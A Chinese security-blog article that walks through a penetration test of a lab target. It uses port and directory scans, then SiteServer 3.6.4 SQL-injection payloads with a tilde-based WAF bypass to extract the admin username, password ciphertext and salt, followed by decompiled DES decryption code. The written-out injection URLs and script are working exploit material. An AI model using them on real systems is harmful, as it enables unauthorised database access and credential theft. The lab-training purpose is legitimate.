freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

渗透项目之内网靶场实战(一)
2022-04-04 10:12:34
所属地 广东省

信息收集

这里使用netdiscover工具对相同网段的主机进行扫描

netdiscover -i eth0 -r 192.168.101.0/24

image.png

同时也可以使用masscan进行一个简单的快速扫描,要养成一个好习惯:扫描的时候要将线程调低一点,以免触发WAF和防火墙等防御机制

masscan -p 1-65535 192.168.101.224 --rate=100

image.png

尝试访问web网站时,从请求包中可以看到是存在WAF的,并且web容器为IIS

image.png

当在URL上输入敏感字符时,WAF会显示字符已被拦截

image.png

然后使用nmap进行扫描,从扫描结果可以看到,服务器开放了ftp服务,IIS的版本是10.0的,存在一个标题但是httponly并没有开放,操作系统的版本为Windows2016

nmap -A -p 1-65535 -sV 192.168.101.217 -oA result

image.png

既然我们发现了三个可疑目录,那么我们可以尝试分别访问这三个目录

SiteServer:访问页面时发现是一个管理员后台登录界面

image.png

SiteFiles:这个目录为空

image.png

UserCenter:这是一个用户登录页面

image.png

当这些基础信息都收集完成后,那就得进行目录扫描了。因为国内的厂商一般都配备了各种安全设备,如果使用御剑,dirsearch这种工具去扫描的话,被禁止IP的可能性很高,一切要从实战进行考虑。当安全狗开启了抗CC这个功能时,高并发扫描就会被安全狗拦截下来。

image.png

当开启目录扫描时,扫描出很多的结果。但是当去访问时,网页显示的请求过于频繁,已被禁止访问(一般会被禁止10分钟)

dirsearch -u "http://www.moonlab.com/" -x404,500,503 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt

image.png

日志都记录了相关的内容信息
image.png

遇到这种情形,就要使用python进行编写我们的目录扫描工具了,当然如果读者也会使用别的编程语言也没问题,但是python使用较为简单,所以笔者这里使用的是它。

#coding: utf-8

import requests,time

path = input("Please input the path of your directory: ")
with open(path,'r',encoding='utf-8') as readfile:
    for dirs in readfile.readlines():
        url = "http://www.moonlab.com/"+dirs.strip('\n')
        #print(url)
        resp = requests.get(url)
        strlen = len(resp.text)
        print(url+'----------'+str(resp.status_code)+'---len----'+str(strlen))
        time.sleep(0.5)
        if resp.status_code == 200 or resp.status_code == 301 or resp.status_code == 500 or resp.status_code == 403:
        	if strlen == 0 or strlen == 2939:
        		continue
        	else:
        		with open('result.txt','a') as result:
        			result.write(url+'----------'+str(resp.status_code)+'---len----'+str(strlen)+'\n')

将目录扫描完毕后,那么就要对已知的网页进行漏洞利用了

Web漏洞利用

刚刚看到SiteServer管理员页面时,发现系统版本: 3.6.4,.NET 版本: 2.0,那么上搜索引擎上发现它是存在一个SQL注入的

image.png

找到了一个w9scan的扫描器,里面包含了siteserver的利用脚本,经过反复查阅发现2739.py这个python脚本是包含了sql注入利用的

image.png

将python里面的代码修改一下,方便查阅那个payload是可以正常使用的

#!/usr/bin/evn python
#-*-:coding:utf-8 -*-
#Author:404
#Name:siteserver最新版3.6.4 sql inject漏洞大礼包of 1
#Refer:http://www.wooyun.org/corps/%E7%99%BE%E5%AE%B9%E5%8D%83%E5%9F%9F%E8%BD%AF%E4%BB%B6%E6%8A%80%E6%9C%AF%E5%BC%80%E5%8F%91%E6%9C%89%E9%99%90%E8%B4%A3%E4%BB%BB%E5%85%AC%E5%8F%B8/page/2

import requests

ps=[
    'siteserver/service/background_taskLog.aspx?Keyword=test%%27%20and%20convert(int,(char(71)%2Bchar(65)%2Bchar(79)%2Bchar(74)%2Bchar(73)%2B@@version))=1%20and%202=%271&DateFrom=&DateTo=&IsSuccess=All',
    'usercenter/platform/user.aspx?UnLock=sdfe%27&UserNameCollection=test%27)%20and%20char(71)%2Bchar(65)%2Bchar(79)%2Bchar(74)%2Bchar(73)%2B@@version=2;%20--',
    'siteserver/bbs/background_keywordsFilting.aspx?grade=0&categoryid=0&keyword=test%27%20and%20char(71)%2Bchar(65)%2Bchar(79)%2Bchar(74)%2Bchar(73)%2B@@version=1%20and%202=%271',
    'siteserver/userRole/background_administrator.aspx?RoleName=%27%20and%20char(71)%2Bchar(65)%2Bchar(79)%2Bchar(74)%2Bchar(73)%2B@@version=1%20and%201=%271&PageNum=0&Keyword=test&AreaID=0&LastActivityDate=0&Order=UserName',
    'siteserver/userRole/background_user.aspx?PageNum=0&Keyword=%27%20and%20char(71)%2Bchar(65)%2Bchar(79)%2Bchar(74)%2Bchar(73)%2B@@version=1%20and%201=%27&CreateDate=0&LastActivityDate=0&TypeID=0&DepartmentID=0&AreaID=0',
    'siteserver/bbs/background_thread.aspx?UserName=test&Title=%27%20and%201=char(71)%2Bchar(65)%2Bchar(79)%2Bchar(74)%2Bchar(73)%2B@@version%20and%201=%27&DateFrom=&DateTo=&ForumID=0',
    ]
for p in ps:
    url='http://www.moonlab.com/'+p
    html = requests.get(url)
    if html.status_code==500 and "GAOJIMicrosoft" in html.text:
        print(url)
        print(html.text)

结果显示这个payload可以正常使用http://www.moonlab.com/usercenter/platform/user.aspx?UnLock=sdfe%27&UserNameCollection=test%27)%20and%20char(71)%2Bchar(65)%2Bchar(79)%2Bchar(74)%2Bchar(73)%2B@@version=2;%20--,这是一个报错注入的payload

image.png

访问这条语句时,它显示了数据库对应的版本信息

image.png

但是当修改URL语句想要得到数据库名时,就被WAF给拦截掉了

http://www.moonlab.com/usercenter/platform/user.aspx?UnLock=sdfe'&UserNameCollection=test'%29%20and%20char%2871%29+char%2865%29+char%2879%29+char%2874%29+char%2873%29+db_name=2;%20--

image.png

绕过WAF防护设备

显然这样直接输入SQL注入语句是会被拦截的,但是可以采用~这个符号对WAF防火墙进行绕过,这是下面的具体payload语句,查看的是数据库对应的用户名

http://www.moonlab.com/usercenter/platform/user.aspx?UnLock=sdfe'&UserNameCollection=test'%29%20and%20+user=~2;%20--

image.png

那知道数据库名后,就去尝试能否注入相应的表出来。方法的话也是挺复杂的,必须本地使用数据库搭建一个siteserver,然后查看里面的查询语句,我这边已经搭建完成了,bairong_Administrator表的查询语句如下。从中得到了具体都有哪些字段名

SELECT TOP 1000 [UserName]
      ,[Password]
      ,[PasswordFormat]
      ,[PasswordSalt]
      ,[CreationDate]
      ,[LastActivityDate]
      ,[LastModuleID]
      ,[CountOfLogin]
      ,[CreatorUserName]
      ,[IsChecked]
      ,[IsLockedOut]
      ,[PublishmentSystemID]
      ,[DepartmentID]
      ,[AreaID]
      ,[DisplayName]
      ,[Question]
      ,[Answer]
      ,[Email]
      ,[Mobile]
      ,[Theme]
      ,[Language]
  FROM [msmoonlab].[msmoonlab].[bairong_Administrator]

尝试构造SQL注入利用语句,构造之前要在前面加个括号,表示是使用子查询的方式,但是还是被拦截了

http://www.moonlab.com/usercenter/platform/user.aspx?UnLock=sdfe'&UserNameCollection=test'%29%20and%20+%28select%20top%201%20username%20from%20bairong_Administrator%29=~2;%20--

image.png

在数据库查询时是可以正常进行的,尝试对数据库名做一下更改,还是不行

http://www.moonlab.com/usercenter/platform/user.aspx?UnLock=sdfe'&UserNameCollection=test'%29%20and%20+%28select%20top%201%20username%20from%20%5Bmsmoonlab%5D.%5Bmsmoonlab%5D.%5Bbairong_Administrator%5D%29=~2;%20--

image.png

最后我们将~2这个值放到前面去,可以显示对应的用户名称为admin

http://www.moonlab.com/usercenter/platform/user.aspx?UnLock=sdfe'&UserNameCollection=test'%29%20and%20+~2=%28select%20top%201%20username%20from%20%5Bmsmoonlab%5D.%5Bmsmoonlab%5D.%5Bbairong_Administrator%5D%29;%20--

image.png

接着可以注入对应的密码值,得到它的密文64Cic1ERUP9n2OzxuKl9Tw==

http://www.moonlab.com/usercenter/platform/user.aspx?UnLock=sdfe'&UserNameCollection=test'%29%20and%20+~2=%28select%20top%201%20password%20from%20%5Bmsmoonlab%5D.%5Bmsmoonlab%5D.%5Bbairong_Administrator%5D%29;%20--

image.png

因为只得到密文,但是不知道加密方式的话,那对解密来说工作量是相当大的,所以也要对加密类型进行注入。注入得到的是Encrypted对称加密

http://www.moonlab.com/usercenter/platform/user.aspx?UnLock=sdfe'&UserNameCollection=test'%29%20and%20+~2=%28select%20top%201%20PasswordFormat%20from%20%5Bmsmoonlab%5D.%5Bmsmoonlab%5D.%5Bbairong_Administrator%5D%29;%20--

image.png

拿到加密方式后,进一步猜测它是base64(Encrypted('明文值',salt))这种方式进行加密的,那么可以把盐值注入出来,得到盐值LIywB/zHFDTuEA1LU53Opg==

http://www.moonlab.com/usercenter/platform/user.aspx?UnLock=sdfe'&UserNameCollection=test'%29%20and%20+~2=%28select%20top%201%20PasswordSalt%20from%20%5Bmsmoonlab%5D.%5Bmsmoonlab%5D.%5Bbairong_Administrator%5D%29;%20--

image.png

反编译dll和解密密文

得到密码后,但是并不清楚具体的加密方式(上面的只是猜测的),可以尝试去登录页面看看个究竟,发现是个login.aspx页面,去login.aspx文件上看看具体指向那些内容,它第一行指向的是BaiRong.BackgroundPages文件的FrameworkLogin这个方法

image.png

在bin目录下找到了这个文件,可以使用dnSpy这个工具对其反编译,找到对应的FrameworkLogin这个模块,但是并没有找到想要的信息

image.png

当在搜索框中搜索Encrypted字符时,看到了想要的信息,可以定位到那里

image.png

定位到这个方法里,右键点击分析,然后点击被使用,可以看到被调用的方法。并且找到了DesDecrypt方法

public void DesDecrypt()
		{
			byte[] rgbIV = new byte[]
			{
				18,
				52,
				86,
				120,
				144,
				171,
				205,
				239
			};
			byte[] array = new byte[this.x3c811436980dcf17.Length];
			try
			{
				byte[] bytes = Encoding.UTF8.GetBytes(this.x6d0b493f217f133b.Substring(0, 8));
				DESCryptoServiceProvider descryptoServiceProvider = new DESCryptoServiceProvider();
				array = Convert.FromBase64String(this.x3c811436980dcf17);
				MemoryStream memoryStream = new MemoryStream();
				if (!false)
				{
				}
				CryptoStream cryptoStream = new CryptoStream(memoryStream, descryptoServiceProvider.CreateDecryptor(bytes, rgbIV), CryptoStreamMode.Write);
				cryptoStream.Write(array, 0, array.Length);
				cryptoStream.FlushFinalBlock();
				Encoding encoding = new UTF8Encoding();
				this.xc7d800b8a71773fd = encoding.GetString(memoryStream.ToArray());
			}
			catch (Exception ex)
			{
				this.x456956327593d9f6 = ex.Message;
			}
		}

未完待续......

# 渗透测试 # 内网渗透 # 网络安全技术
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者